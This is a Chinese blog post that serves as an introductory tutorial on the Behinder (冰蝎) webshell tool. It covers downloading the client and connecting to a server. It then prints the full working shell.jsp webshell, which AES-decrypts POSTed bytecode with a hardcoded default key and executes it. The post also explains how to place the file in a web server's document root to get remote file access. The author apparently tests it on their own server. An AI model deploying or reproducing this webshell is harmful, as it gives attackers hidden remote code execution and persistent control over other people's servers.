冰蝎入门级webshell攻击

安装

到地址 https://github.com/rebeyond/Behinder/releases 中选Behinder_v4.0.5版本下载,但是列出的三包文件里都没有示例shell文件。可以选择 Behinder_v3.0.11【t00ls专版】下载来查看里面的示例shell文件,注意要到linux系统下解压,如果在windows下解压的话,你会看不到解压出来的shell文件,会被windows系统自动删除。
Behinder_v4.0.5版本解压后会看到三个文件,双击其中的Behinder.jar可执行文件即可。可以看到如下界面:

然后,在该界面的空白处点击鼠标右键“新增”菜单,填写属性,如下图所示:

点击保存后,双击该项发起连接。显示右上角显示“已连接”,左下角显示 “[OK]连接成功,基本信息获取完成。”就表示连接成功。

JSP脚本的编写

上面操作步骤简单,但是shell.jsp是什么,它是谁,它在哪? Behinder_v3.0.11【t00ls专版】中有示例shell文件:shell.asp shell.aspx shell_java9.jsp shell.jsp shell.jspx.jsp shell.php. 因为我们的web server是用JAVA写的这里选用shell.jsp的格式。该文件的内容如下(已调整格式,原内容没有空格和换行):

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
  class U extends ClassLoader{
      U(ClassLoader c) {
      super(c);
      }

      public Class g(byte []b) {
        return super.defineClass(b,0,b.length);
      }
}%><%
  if (request.getMethod().equals("POST")){
       String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
       session.putValue("u",k);
       Cipher c=Cipher.getInstance("AES");
       c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
       new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>

需要把该文件上传到web server的展示页面目录下,例如常见的/var/www/html/(每个Server不一样,看你的Webserver情况而定)。如果放置不当,server找不到会报404错误。新版Webshell在上述代码外增加了AAAAA、bbbb两个输出,格式像这样AAA<...>BBB 我的web server用这两个格式都可以,冰蝎的客户端版本是Behinder_v4.0.5。建立连接成功后,点击“文件管理”,双击“目录结构”可以看到server的文件目录。这个web server可以部署在物理机上也可以部署在容器里。

posted @   JaneySJ  阅读(2418)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
历史上的今天:
2021-10-12 dpvs入门实践1--概念及编译安装
点击右上角即可分享
微信分享提示